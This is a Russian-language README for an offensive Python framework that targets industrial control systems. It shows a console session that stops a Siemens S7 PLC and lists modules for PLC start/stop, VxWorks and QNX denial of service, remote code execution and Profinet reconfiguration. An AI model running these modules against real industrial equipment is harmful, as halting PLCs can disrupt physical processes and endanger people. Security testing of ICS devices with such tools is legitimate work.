Industrial Exploitation Framework

ISF (Industrial Exploitation Framework) — это фреймворк для эксплуатации, основанный на Python, похожий на metasploit framework.

ISF основан на проекте с открытым исходным кодом routersploit.

Читать на других языках: English, 简体中文,

Disclaimer

Использование ISF для атак на цели без предварительного взаимного согласия незаконно. Пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причиненный этой программой.

ICS Protocol Clients

Название	Путь	Описание
modbus_tcp_client	icssploit/clients/modbus_tcp_client.py	Клиент Modbus-TCP
wdb2_client	icssploit/clients/wdb2_client.py	Клиент WdbRPC версии 2 (Vxworks 6.x)
s7_client	icssploit/clients/s7_client.py	Клиент s7comm (ПЛК S7 300/400)

Exploit Module

Scanner Module

ICS Protocols Module (Scapy Module)

Эти протоколы могут использоваться в других фреймворках для фаззинга, таких как Kitty, или для создания собственного клиента.

Install

Python requirements

gnureadline (только OSX)
requests
paramiko
beautifulsoup4
pysnmp
python-nmap
scapy Мы рекомендуем установить scapy вручную, следуя этой официальной документации

Установка на Kali

git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

Usage

    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ \| |    / __ \_   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     \___ \\___ \|  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
    
    
                    ICS Exploitation Framework
    
    Примечание: ICSSPOLIT — это форк routersploit (https://github.com/reverse-shell/routersploit)
    Команда разработчиков: wenzhe zhu (dark-lbp)
    Версия: 0.1.0
    
    Эксплойты: 2 Сканеры: 0 Учётные данные: 13
    
    Эксплойты ICS: ПЛК: 2 Коммутаторы ICS: 0 ПО: 0
    
    isf >

Exploits

isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

Вы можете использовать клавишу Tab для автодополнения.

Options

Отображение параметров модуля:

isf (S7-300/400 PLC Control) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target address e.g. 192.168.1.1
   port       102                  Target Port


Module options:

   Name        Current settings     Description
   ----        ----------------     -----------
   slot        2                    CPU slot number.
   command     1                    Command 0:start plc, 1:stop plc.


isf (S7-300/400 PLC Control) >

Установка параметров

isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

Run module

isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

Отображение информации об эксплойте

isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
-  Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
-  wenzhe zhu <jtrkid[at]gmail.com>

References:

isf (S7-300/400 PLC Control) >

s7_300_400_plc_control	exploits/plcs/siemens/s7_300_400_plc_control.py	Запуск/остановка ПЛК S7-300/400
s7_1200_plc_control	exploits/plcs/siemens/s7_1200_plc_control.py	Запуск/остановка/сброс ПЛК S7-1200
vxworks_rpc_dos	exploits/plcs/vxworks/vxworks_rpc_dos.py	Удалённая атака типа «отказ в обслуживании» Vxworks RPC (CVE-2015-7599)
quantum_140_plc_control	exploits/plcs/schneider/quantum_140_plc_control.py	Запуск/остановка ПЛК серии Schneider Quantum 140
crash_qnx_inetd_tcp_service	exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py	Атака типа «отказ в обслуживании» QNX Inetd TCP
qconn_remote_exec	exploits/plcs/qnx/qconn_remote_exec.py	Удалённое выполнение кода QNX qconn
profinet_set_ip	exploits/plcs/siemens/profinet_set_ip.py	Настройка IP устройства Profinet DCP

profinet_dcp_scan	scanners/profinet_dcp_scan.py	Сканер Profinet DCP
vxworks_6_scan	scanners/vxworks_6_scan.py	Сканер Vxworks 6.x
s7comm_scan	scanners/s7comm_scan.py	Сканер S7comm
enip_scan	scanners/enip_scan.py	Сканер EthernetIP

pn_dcp	icssploit/protocols/pn_dcp	Протокол Profinet DCP
modbus_tcp	icssploit/protocols/modbus_tcp	Протокол Modbus TCP
wdbrpc2	icssploit/protocols/wdbrpc2	Протокол WDB RPC версии 2
s7comm	icssploit/protocols/s7comm.py	Протокол S7comm

isf

Популярное